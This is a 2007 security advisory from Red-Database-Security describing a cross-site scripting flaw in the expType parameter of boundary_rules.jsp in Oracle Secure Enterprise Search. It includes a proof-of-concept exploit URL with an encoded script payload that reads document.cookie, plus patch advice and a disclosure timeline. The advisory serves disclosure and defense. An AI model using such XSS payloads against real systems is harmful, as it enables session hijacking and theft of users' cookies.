Red-Database-Security GmbH is specialized in Oracle Security

Products
Repscan 2.5
Hedgehog Enterprise
Checkpwd (free)

Services
Oracle Audit / Hardening
Security Training
Consulting

Information
Oracle Security Blog
Published Alerts
Upcoming Alerts
Patch Information
Whitepaper
Presentations
Oracle Fact Sheets
Exploits
Tutorials
Videos
Scripts

News & Events
Events
News

Company
Contact
People
Partner
Impressum
Sitemap

Cross-Site-Scripting Vulnerability in Oracle Secure Enterprise Search (SES)

Name	Cross-Site-Scripting Vulnerability in Oracle Secure Enterprise Search - SES01
Systems Affected	Oracle Secure Enterprise Search 10.1.6- SES
Severity	Medium Risk
Category	Cross Site Scripting (XSS/CSS)
Vendor URL	http://www.oracle.com/
Author	Alexander Kornbrust (ak at red-database-security.com)
CVE
Date	17 April 2007 (V 1.00)

Details
Oracle Secure Enterprise Search 10g, a standalone product from Oracle, enables a secure, high quality, easy-to-use search across all enterprise information assets.
The parameter EXPTYPE in boundary_rules.jsp contains a cross site scripting vulnerability.

Exploit
http://www.red-database-security.com:7777/search/admin/sources/boundary_rules.jsp?event=deleteIncludeRule&p_src=web&p_mode=edit&p_id=3&pattern=www.red-database-security.com&expType=%3Cscript%3Ealert(document.cookie)%3C/script%3ECC_SIMPLE_INCLUSION'

Affected Products
Oracle Enterprise Search <10.1.8

Patch Information
Please upgrade to the latest version of SES or apply CPU April 2007.

History
05-Apr-2005 Oracle secalert was informed
06-Apr-2005 Bug confirmed
17-apr-2007 Oracle published CPU April 2007
17-apr-2007 Red-Database-Security published this advisory